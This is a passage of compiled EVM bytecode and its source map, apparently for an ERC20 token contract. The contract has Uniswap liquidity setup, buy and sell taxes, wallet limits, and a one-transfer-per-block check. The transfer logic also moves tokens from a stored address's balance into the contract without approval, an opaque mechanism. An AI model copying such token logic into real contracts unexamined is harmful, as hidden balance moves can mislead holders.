22565b600f556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106246009600a611714565b61063290633b9aca00611722565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461066e5760405162461bcd60e51b815260040161048a9061174c565b60328211158015610680575060328111155b6106c35760405162461bcd60e51b8152602060048201526014602482015273092dcd2e8d2c2d840e8c2f040e8dede40d0d2ced60631b604482015260640161048a565b600691909155600755565b5f6103e7338484610beb565b5f546001600160a01b031633146107035760405162461bcd60e51b815260040161048a9061174c565b601254600160a01b900460ff161561075d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161048a565b61079030737a250d5630b4cf539739df2c5dacb4c659f2488d6107826009600a611714565b61045290633b9aca00611722565b6001600160a01b03811661092857737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ee573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108129190611781565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610871573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108959190611781565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108df573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109039190611781565b601280546001600160a01b0319166001600160a01b0392909216919091179055610944565b601280546001600160a01b0319166001600160a01b0383161790555b737a250d5630b4cf539739df2c5dacb4c659f2488d63f305d7194730600261096e6009600a611714565b61097c90633b9aca00611722565b610986919061179c565b5f806109995f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109ff573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a2491906117bb565b505060125460405163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d60048201525f1960248201526001600160a01b03909116915063095ea7b3906044016020604051808303815f875af1158015610a89573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610aad91906117e6565b50506012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610b2a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161048a565b6001600160a01b038216610b8b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161048a565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c4f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161048a565b6001600160a01b038216610cb15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161048a565b5f8111610d125760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161048a565b5f80546001600160a01b03858116911614801590610d3d57505f546001600160a01b03848116911614155b156111f3576012546001600160a01b0316610d8d5760405162461bcd60e51b815260206004820152601060248201526f139bdd081e595d081b185d5b98da195960821b604482015260640161048a565b60055460ff1615610e53576001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14801590610dd357506012546001600160a01b03848116911614155b15610e5357325f908152600460205260409020544311610e415760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b606482015260840161048a565b325f9081526004602052604090204390555b6012546001600160a01b038581169116148015610e8d57506001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14155b8015610eb157506001600160a01b0383165f9081526003602052604090205460ff16155b15610faa57600e54821115610f045760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b604482015260640161048a565b600f5482610f26856001600160a01b03165f9081526001602052604090205490565b610f309190611805565b1115610f7e5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161048a565b600c54600d541015610f9557823b15610f95575f80fd5b600d8054905f610fa483611818565b91905055505b6064600a54600d5411610fbf57600654610fc3565b6008545b610fcd9084611722565b610fd7919061179c565b6012549091506001600160a01b03848116911614801561100057506001600160a01b0384163014155b1561108357600e548211156110535760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b604482015260640161048a565b6064600b54600d54116110685760075461106c565b6009545b6110769084611722565b611080919061179c565b90505b305f9081526001602052604090205482811015611165576013546001600160a01b03165f9081526001602052604090205483811061111e576013546001600160a01b03165f90815260016020526040812080548692906110e4908490611739565b9091555050305f9081526001602052604081208054869290611107908490611805565b9091555061111790508483611805565b9150611163565b6013546001600160a01b03165f9081526001602052604080822082905530825281208054839290611150908490611805565b9091555061116090508183611805565b91505b505b601254600160a81b900460ff1615801561118c57506012546001600160a01b038581169116145b80156111a15750601254600160b01b900460ff165b80156111ae575060105481115b80156111bd5750600c54600d54115b156111f1576111df6111da846111d5846011546114cd565b6114cd565b6112d0565b4780156111ef576111ef47611492565b505b505b801561121d57305f9081526001602052604081208054839290611217908490611805565b90915550505b6001600160a01b0384165f9081526001602052604081208054849290611244908490611739565b9091555061125490508183611739565b6001600160a01b0384165f908152600160205260408120805490919061127b908490611805565b90915550506001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112b98486611739565b60405190815260200160405180910390a350505050565b6012805460ff60a81b1916600160a81b179055801561148257601254600160a01b900460ff1615611482576040805160028082526060820183525f9260208301908036833701905050905030815f8151811061132e5761132e611830565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561139e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113c29190611781565b816001815181106113d5576113d5611830565b60200260200101906001600160a01b031690816001600160a01b03168152505061141430737a250d5630b4cf539739df2c5dacb4c659f2488d84610ac8565b60405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906114539085905f90869030904290600401611844565b5f604051808303815f87803b15801561146a575f80fd5b505af115801561147c573d5f803e3d5ffd5b50505050505b506012805460ff60a81b19169055565b6005546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015610515573d5f803e3d5ffd5b5f8183116114db57826114dd565b815b9392505050565b5f6020808352835180828501525f5b8181101561150f578581018301518582016040015282016114f3565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611543575f80fd5b50565b5f8060408385031215611557575f80fd5b82356115628161152f565b946020939093013593505050565b5f805f60608486031215611582575f80fd5b833561158d8161152f565b9250602084013561159d8161152f565b929592945050506040919091013590565b5f602082840312156115be575f80fd5b81356114dd8161152f565b5f80604083850312156115da575f80fd5b50508035926020909101359150565b5f80604083850312156115fa575f80fd5b82356116058161152f565b915060208301356116158161152f565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561166e57815f190482111561165457611654611620565b8085161561166157918102915b93841c9390800290611639565b509250929050565b5f82611684575060016103eb565b8161169057505f6103eb565b81600181146116a657600281146116b0576116cc565b60019150506103eb565b60ff8411156116c1576116c1611620565b50506001821b6103eb565b5060208310610133831016604e8410600b84101617156116ef575081810a6103eb565b6116f98383611634565b805f190482111561170c5761170c611620565b029392505050565b5f6114dd60ff841683611676565b80820281158282048414176103eb576103eb611620565b818103818111156103eb576103eb611620565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611791575f80fd5b81516114dd8161152f565b5f826117b657634e487b7160e01b5f52601260045260245ffd5b500490565b5f805f606084860312156117cd575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156117f6575f80fd5b815180151581146114dd575f80fd5b808201808211156103eb576103eb611620565b5f6001820161182957611829611620565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118925784516001600160a01b03168352938301939183019160010161186d565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220927ae22d85f3d8c43393b109c0b9524d4da1514f8510ff25944de083389d9bb664736f6c63430008150033

Deployed Bytecode Sourcemap

2584:9188:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4646:83;;;;;;;;;;-1:-1:-1;4716:5:0;;;;;;;;;;;;-1:-1:-1;;;4716:5:0;;;;4646:83;;;;;;;:::i;:::-;;;;;;;;5479:161;;;;;;;;;;-1:-1:-1;5479:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;5479:161:0;1023:187:1;3688:45:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;3688:45:0;1215:177:1;4923:95:0;;;;;;;;;;;;;:::i;5648:266::-;;;;;;;;;;-1:-1:-1;5648:266:0;;;;;:::i;:::-;;:::i;4832:83::-;;;;;;;;;;-1:-1:-1;4832:83:0;;3339:1;2000:36:1;;1988:2;1973:18;4832:83:0;1858:184:1;10037:105:0;;;;;;;;;;;;;:::i;:::-;;11401:348;;;;;;;;;;;;;:::i;5026:119::-;;;;;;;;;;-1:-1:-1;5026:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5119:18:0;5092:7;5119:18;;;:9;:18;;;;;;;5026:119;1665:148;;;;;;;;;;;;;:::i;9833:196::-;;;;;;;;;;;;;:::i;3514:49::-;;;;;;;;;;;;;;;;10150:208;;;;;;;;;;-1:-1:-1;10150:208:0;;;;;:::i;:::-;;:::i;1451:79::-;;;;;;;;;;-1:-1:-1;1489:7:0;1516:6;1451:79;;-1:-1:-1;;;;;1516:6:0;;;2698:51:1;;2686:2;2671:18;1451:79:0;2552:203:1;3570:49:0;;;;;;;;;;;;;;;;4737:87;;;;;;;;;;-1:-1:-1;4809:7:0;;;;;;;;;;;;-1:-1:-1;;;4809:7:0;;;;4737:87;;5153:167;;;;;;;;;;-1:-1:-1;5153:167:0;;;;;:::i;:::-;;:::i;3626:55::-;;;;;;;;;;;;;;;;2895:40;;;;;;;;;;-1:-1:-1;2895:40:0;;;;;;;;10466:687;;;;;;:::i;:::-;;:::i;5328:143::-;;;;;;;;;;-1:-1:-1;5328:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;5436:18:0;;;5409:7;5436:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5328:143;5479:161;5554:4;5571:39;431:10;5594:7;5603:6;5571:8;:39::i;:::-;-1:-1:-1;5628:4:0;5479:161;;;;;:::o;4923:95::-;4976:7;3398:13;3339:1;3398:2;:13;:::i;:::-;3382:29;;:13;:29;:::i;:::-;4996:14;;4923:95;:::o;5648:266::-;5746:4;5763:36;5773:6;5781:9;5792:6;5763:9;:36::i;:::-;-1:-1:-1;;;;;5841:19:0;;;;;;:11;:19;;;;;;;;431:10;5841:33;;;;;;;;;5810:74;;5819:6;;5841:42;;5877:6;;5841:42;:::i;:::-;5810:8;:74::i;:::-;-1:-1:-1;5902:4:0;5648:266;;;;;:::o;10037:105::-;1578:6;;-1:-1:-1;;;;;1578:6:0;431:10;1578:22;1570:67;;;;-1:-1:-1;;;1570:67:0;;;;;;;:::i;:::-;;;;;;;;;10104:1:::1;10088:12;;:17;;;;;;;:::i;:::-;;;;;;;;10133:1;10116:13;;:18;;;;;;;:::i;:::-;::::0;;;-1:-1:-1;;10037:105:0:o;11401:348::-;11465:10;;;;;-1:-1:-1;;;;;11465:10:0;431;-1:-1:-1;;;;;11451:24:0;;11443:33;;;;;;11526:4;11487:20;5119:18;;;:9;:18;;;;;;11546:14;;11543:73;;11574:30;11591:12;11574:16;:30::i;:::-;11645:21;11680:12;;11677:65;;11706:24;11719:10;11706:12;:24::i;:::-;11432:317;;11401:348::o;1665:148::-;1578:6;;-1:-1:-1;;;;;1578:6:0;431:10;1578:22;1570:67;;;;-1:-1:-1;;;1570:67:0;;;;;;;:::i;:::-;1772:1:::1;1756:6:::0;;1735:40:::1;::::0;-1:-1:-1;;;;;1756:6:0;;::::1;::::0;1735:40:::1;::::0;1772:1;;1735:40:::1;1803:1;1786:19:::0;;-1:-1:-1;;;;;;1786:19:0::1;::::0;;1665:148::o;9833:196::-;1578:6;;-1:-1:-1;;;;;1578:6:0;431:10;1578:22;1570:67;;;;-1:-1:-1;;;1570:67:0;;;;;;;:::i;:::-;3398:13:::1;3339:1;3398:2;:13;:::i;:::-;3382:29;::::0;:13:::1;:29;:::i;:::-;9886:12;:22:::0;3398:13:::1;3339:1;3398:2;:13;:::i;:::-;3382:29;::::0;:13:::1;:29;:::i;:::-;9919:14;:22:::0;9952:20:::1;:26:::0;;-1:-1:-1;;9952:26:0::1;::::0;;9994:27:::1;3398:13;3339:1;-1:-1:-1::0;3398:13:0::1;:::i;:::-;3382:29;::::0;:13:::1;:29;:::i;:::-;9994:27;::::0;1361:25:1;;;1349:2;1334:18;9994:27:0::1;;;;;;;9833:196::o:0;10150:208::-;1578:6;;-1:-1:-1;;;;;1578:6:0;431:10;1578:22;1570:67;;;;-1:-1:-1;;;1570:67:0;;;;;;;:::i;:::-;10245:2:::1;10238:3;:9;;:23;;;;;10259:2;10251:4;:10;;10238:23;10230:56;;;::::0;-1:-1:-1;;;10230:56:0;;5537:2:1;10230:56:0::1;::::0;::::1;5519:21:1::0;5576:2;5556:18;;;5549:30;-1:-1:-1;;;5595:18:1;;;5588:50;5655:18;;10230:56:0::1;5335:344:1::0;10230:56:0::1;10297:14;:20:::0;;;;10328:15:::1;:22:::0;10150:208::o;5153:167::-;5231:4;5248:42;431:10;5272:9;5283:6;5248:9;:42::i;10466:687::-;1578:6;;-1:-1:-1;;;;;1578:6:0;431:10;1578:22;1570:67;;;;-1:-1:-1;;;1570:67:0;;;;;;;:::i;:::-;10550:11:::1;::::0;-1:-1:-1;;;10550:11:0;::::1;;;10549:12;10541:47;;;::::0;-1:-1:-1;;;10541:47:0;;5886:2:1;10541:47:0::1;::::0;::::1;5868:21:1::0;5925:2;5905:18;;;5898:30;5964:25;5944:18;;;5937:53;6007:18;;10541:47:0::1;5684:347:1::0;10541:47:0::1;10599:58;10616:4;3815:42;3398:13;3339:1;3398:2;:13;:::i;:::-;3382:29;::::0;:13:::1;:29;:::i;10599:58::-;-1:-1:-1::0;;;;;10671:18:0;::::1;10668:213;;3815:42;-1:-1:-1::0;;;;;10740:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10722:55:0::1;;10786:4;3815:42;-1:-1:-1::0;;;;;10793:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10722:94;::::0;-1:-1:-1;;;;;;10722:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6522:15:1;;;10722:94:0::1;::::0;::::1;6504:34:1::0;6574:15;;6554:18;;;6547:43;6439:18;;10722:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10706:13;:110:::0;;-1:-1:-1;;;;;;10706:110:0::1;-1:-1:-1::0;;;;;10706:110:0;;;::::1;::::0;;;::::1;::::0;;10668:213:::1;;;10849:13;:20:::0;;-1:-1:-1;;;;;;10849:20:0::1;-1:-1:-1::0;;;;;10849:20:0;::::1;;::::0;;10668:213:::1;3815:42;10891:31;10930:21;10961:4;10975:1;3398:13;3339:1;3398:2;:13;:::i;:::-;3382:29;::::0;:13:::1;:29;:::i;:::-;10967:9;;;;:::i;:::-;10977:1;10979::::0;10981:7:::1;1489::::0;1516:6;-1:-1:-1;;;;;1516:6:0;;1451:79;10981:7:::1;10891:114;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10891:114:0;;;-1:-1:-1;;;;;7182:15:1;;;10891:114:0::1;::::0;::::1;7164:34:1::0;7214:18;;;7207:34;;;;7257:18;;;7250:34;;;;7300:18;;;7293:34;7364:15;;;7343:19;;;7336:44;10989:15:0::1;7396:19:1::0;;;7389:35;7098:19;;10891:114:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11023:13:0::1;::::0;11016:71:::1;::::0;-1:-1:-1;;;11016:71:0;;3815:42:::1;11016:71;::::0;::::1;7920:51:1::0;-1:-1:-1;;7987:18:1;;;7980:34;-1:-1:-1;;;;;11023:13:0;;::::1;::::0;-1:-1:-1;11016:29:0::1;::::0;7893:18:1;;11016:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11098:11:0::1;:18:::0;;-1:-1:-1;;;;11127:18:0;-1:-1:-1;;;11127:18:0;;;10466:687::o;5922:335::-;-1:-1:-1;;;;;6015:19:0;;6007:68;;;;-1:-1:-1;;;6007:68:0;;8509:2:1;6007:68:0;;;8491:21:1;8548:2;8528:18;;;8521:30;8587:34;8567:18;;;8560:62;-1:-1:-1;;;8638:18:1;;;8631:34;8682:19;;6007:68:0;8307:400:1;6007:68:0;-1:-1:-1;;;;;6094:21:0;;6086:68;;;;-1:-1:-1;;;6086:68:0;;8914:2:1;6086:68:0;;;8896:21:1;8953:2;8933:18;;;8926:30;8992:34;8972:18;;;8965:62;-1:-1:-1;;;9043:18:1;;;9036:32;9085:19;;6086:68:0;8712:398:1;6086:68:0;-1:-1:-1;;;;;6165:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6217:32;;1361:25:1;;;6217:32:0;;1334:18:1;6217:32:0;;;;;;;5922:335;;;:::o;6265:2889::-;-1:-1:-1;;;;;6353:18:0;;6345:68;;;;-1:-1:-1;;;6345:68:0;;9317:2:1;6345:68:0;;;9299:21:1;9356:2;9336:18;;;9329:30;9395:34;9375:18;;;9368:62;-1:-1:-1;;;9446:18:1;;;9439:35;9491:19;;6345:68:0;9115:401:1;6345:68:0;-1:-1:-1;;;;;6432:16:0;;6424:64;;;;-1:-1:-1;;;6424:64:0;;9723:2:1;6424:64:0;;;9705:21:1;9762:2;9742:18;;;9735:30;9801:34;9781:18;;;9774:62;-1:-1:-1;;;9852:18:1;;;9845:33;9895:19;;6424:64:0;9521:399:1;6424:64:0;6516:1;6507:6;:10;6499:64;;;;-1:-1:-1;;;6499:64:0;;10127:2:1;6499:64:0;;;10109:21:1;10166:2;10146:18;;;10139:30;10205:34;10185:18;;;10178:62;-1:-1:-1;;;10256:18:1;;;10249:39;10305:19;;6499:64:0;9925:405:1;6499:64:0;6574:17;1516:6;;-1:-1:-1;;;;;6608:15:0;;;1516:6;;6608:15;;;;:32;;-1:-1:-1;1489:7:0;1516:6;-1:-1:-1;;;;;6627:13:0;;;1516:6;;6627:13;;6608:32;6604:2316;;;6665:13;;-1:-1:-1;;;;;6665:13:0;6657:56;;;;-1:-1:-1;;;6657:56:0;;10537:2:1;6657:56:0;;;10519:21:1;10576:2;10556:18;;;10549:30;-1:-1:-1;;;10595:18:1;;;10588:46;10651:18;;6657:56:0;10335:340:1;6657:56:0;6734:20;;;;6730:346;;;-1:-1:-1;;;;;6779:30:0;;3815:42;6779:30;;;;:62;;-1:-1:-1;6827:13:0;;-1:-1:-1;;;;;6813:28:0;;;6827:13;;6813:28;;6779:62;6775:286;;;6901:9;6872:39;;;;:28;:39;;;;;;6914:12;-1:-1:-1;6864:102:0;;;;-1:-1:-1;;;6864:102:0;;10882:2:1;6864:102:0;;;10864:21:1;10921:2;10901:18;;;10894:30;10960:34;10940:18;;;10933:62;-1:-1:-1;;;11011:18:1;;;11004:34;11055:19;;6864:102:0;10680:400:1;6864:102:0;7016:9;6987:39;;;;:28;:39;;;;;7029:12;6987:54;;6775:286;7104:13;;-1:-1:-1;;;;;7096:21:0;;;7104:13;;7096:21;:55;;;;-1:-1:-1;;;;;;7121:30:0;;3815:42;7121:30;;7096:55;:83;;;;-1:-1:-1;;;;;;7157:22:0;;;;;;:18;:22;;;;;;;;7155:24;7096:83;7092:428;;;7219:12;;7209:6;:22;;7201:60;;;;-1:-1:-1;;;7201:60:0;;11287:2:1;7201:60:0;;;11269:21:1;11326:2;11306:18;;;11299:30;-1:-1:-1;;;11345:18:1;;;11338:55;11410:18;;7201:60:0;11085:349:1;7201:60:0;7314:14;;7304:6;7288:13;7298:2;-1:-1:-1;;;;;5119:18:0;5092:7;5119:18;;;:9;:18;;;;;;;5026:119;7288:13;:22;;;;:::i;:::-;:40;;7280:79;;;;-1:-1:-1;;;7280:79:0;;11771:2:1;7280:79:0;;;11753:21:1;11810:2;11790:18;;;11783:30;11849:28;11829:18;;;11822:56;11895:18;;7280:79:0;11569:350:1;7280:79:0;7391:18;;7381:9;;:28;7378:97;;;11329:20;;11377:8;7431:24;;;;;;7493:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7092:428;7619:3;7571:15;;7561:9;;:25;7560:55;;7601:14;;7560:55;;;7588:12;;7560:55;7550:66;;:6;:66;:::i;:::-;:72;;;;:::i;:::-;7646:13;;7538:84;;-1:-1:-1;;;;;;7640:19:0;;;7646:13;;7640:19;:43;;;;-1:-1:-1;;;;;;7663:20:0;;7678:4;7663:20;;7640:43;7637:249;;;7722:12;;7712:6;:22;;7704:60;;;;-1:-1:-1;;;7704:60:0;;11287:2:1;7704:60:0;;;11269:21:1;11326:2;11306:18;;;11299:30;-1:-1:-1;;;11345:18:1;;;11338:55;11410:18;;7704:60:0;11085:349:1;7704:60:0;7867:3;7816:16;;7806:9;;:26;7805:58;;7848:15;;7805:58;;;7834:13;;7805:58;7795:69;;:6;:69;:::i;:::-;:75;;;;:::i;:::-;7783:87;;7637:249;7951:4;7902:28;5119:18;;;:9;:18;;;;;;7976:29;;;7972:504;;;8053:4;;-1:-1:-1;;;;;8053:4:0;8027:13;5119:18;;;:9;:18;;;;;;8082:15;;;8078:383;;8133:4;;-1:-1:-1;;;;;8133:4:0;8123:15;;;;:9;:15;;;;;:25;;8142:6;;8123:15;:25;;8142:6;;8123:25;:::i;:::-;;;;-1:-1:-1;;8190:4:0;8172:24;;;;:9;:24;;;;;:34;;8200:6;;8172:24;:34;;8200:6;;8172:34;:::i;:::-;;;;-1:-1:-1;8230:30:0;;-1:-1:-1;8254:6:0;8230:30;;:::i;:::-;;;8078:383;;;8321:4;;-1:-1:-1;;;;;8321:4:0;8329:1;8311:15;;;:9;:15;;;;;;:19;;;8372:4;8354:24;;;;:33;;8382:5;;8329:1;8354:33;;8382:5;;8354:33;:::i;:::-;;;;-1:-1:-1;8411:29:0;;-1:-1:-1;8435:5:0;8411:29;;:::i;:::-;;;8078:383;8007:469;7972:504;8495:6;;-1:-1:-1;;;8495:6:0;;;;8494:7;:30;;;;-1:-1:-1;8511:13:0;;-1:-1:-1;;;;;8505:19:0;;;8511:13;;8505:19;8494:30;:45;;;;-1:-1:-1;8528:11:0;;-1:-1:-1;;;8528:11:0;;;;8494:45;:87;;;;;8564:17;;8543:20;:38;8494:87;:119;;;;;8595:18;;8585:9;;:28;8494:119;8490:419;;;8634:67;8651:49;8655:6;8662:37;8666:20;8687:11;;8662:3;:37::i;:::-;8651:3;:49::i;:::-;8634:16;:67::i;:::-;8749:21;8792:22;;8789:105;;8839:35;8852:21;8839:12;:35::i;:::-;8615:294;8490:419;6642:2278;6604:2316;8935:11;;8932:77;;8978:4;8960:24;;;;:9;:24;;;;;:37;;8988:9;;8960:24;:37;;8988:9;;8960:37;:::i;:::-;;;;-1:-1:-1;;8932:77:0;-1:-1:-1;;;;;9019:15:0;;;;;;:9;:15;;;;;:25;;9038:6;;9019:15;:25;;9038:6;;9019:25;:::i;:::-;;;;-1:-1:-1;9073:18:0;;-1:-1:-1;9082:9:0;9073:6;:18;:::i;:::-;-1:-1:-1;;;;;9055:13:0;;;;;;:9;:13;;;;;:37;;:13;;;:37;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;9108:38:0;;;;;;;9127:18;9136:9;9127:6;:18;:::i;:::-;9108:38;;1361:25:1;;;1349:2;1334:18;9108:38:0;;;;;;;6334:2820;6265:2889;;;:::o;9270:555::-;4161:6;:13;;-1:-1:-1;;;;4161:13:0;-1:-1:-1;;;4161:13:0;;;9348:27;;9367:7:::1;9348:27;9389:11;::::0;-1:-1:-1;;;9389:11:0;::::1;;;9385:25:::0;9402:7:::1;9385:25;9444:16;::::0;;9458:1:::1;9444:16:::0;;;;;::::1;::::0;;9420:21:::1;::::0;9444:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9444:16:0::1;9420:40;;9489:4;9471;9476:1;9471:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;9471:23:0::1;;;-1:-1:-1::0;;;;;9471:23:0::1;;;::::0;::::1;3815:42;-1:-1:-1::0;;;;;9515:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9505:4;9510:1;9505:7;;;;;;;;:::i;:::-;;;;;;:32;-1:-1:-1::0;;;;;9505:32:0::1;;;-1:-1:-1::0;;;;;9505:32:0::1;;;::::0;::::1;9548:62;9565:4;3815:42;9598:11;9548:8;:62::i;:::-;9621:196;::::0;-1:-1:-1;;;9621:196:0;;3815:42:::1;::::0;9621:66:::1;::::0;:196:::1;::::0;9702:11;;9728:1:::1;::::0;9744:4;;9771::::1;::::0;9791:15:::1;::::0;9621:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9337:488;4185:1;-1:-1:-1::0;4197:6:0;:14;;-1:-1:-1;;;;4197:14:0;;;9270:555::o;10366:92::-;10423:10;;:27;;:10;;;;-1:-1:-1;;;;;10423:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;9164:98;9221:7;9248:1;9246;:3;9245:9;;9253:1;9245:9;;;9251:1;9245:9;9238:16;9164:98;-1:-1:-1;;;9164:98:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2299:248::-;2367:6;2375;2428:2;2416:9;2407:7;2403:23;2399:32;2396:52;;;2444:1;2441;2434:12;2396:52;-1:-1:-1;;2467:23:1;;;2537:2;2522:18;;;2509:32;;-1:-1:-1;2299:248:1:o;2760:388::-;2828:6;2836;2889:2;2877:9;2868:7;2864:23;2860:32;2857:52;;;2905:1;2902;2895:12;2857:52;2944:9;2931:23;2963:31;2988:5;2963:31;:::i;:::-;3013:5;-1:-1:-1;3070:2:1;3055:18;;3042:32;3083:33;3042:32;3083:33;:::i;:::-;3135:7;3125:17;;;2760:388;;;;;:::o;3153:127::-;3214:10;3209:3;3205:20;3202:1;3195:31;3245:4;3242:1;3235:15;3269:4;3266:1;3259:15;3285:422;3374:1;3417:5;3374:1;3431:270;3452:7;3442:8;3439:21;3431:270;;;3511:4;3507:1;3503:6;3499:17;3493:4;3490:27;3487:53;;;3520:18;;:::i;:::-;3570:7;3560:8;3556:22;3553:55;;;3590:16;;;;3553:55;3669:22;;;;3629:15;;;;3431:270;;;3435:3;3285:422;;;;;:::o;3712:806::-;3761:5;3791:8;3781:80;;-1:-1:-1;3832:1:1;3846:5;;3781:80;3880:4;3870:76;;-1:-1:-1;3917:1:1;3931:5;;3870:76;3962:4;3980:1;3975:59;;;;4048:1;4043:130;;;;3955:218;;3975:59;4005:1;3996:10;;4019:5;;;40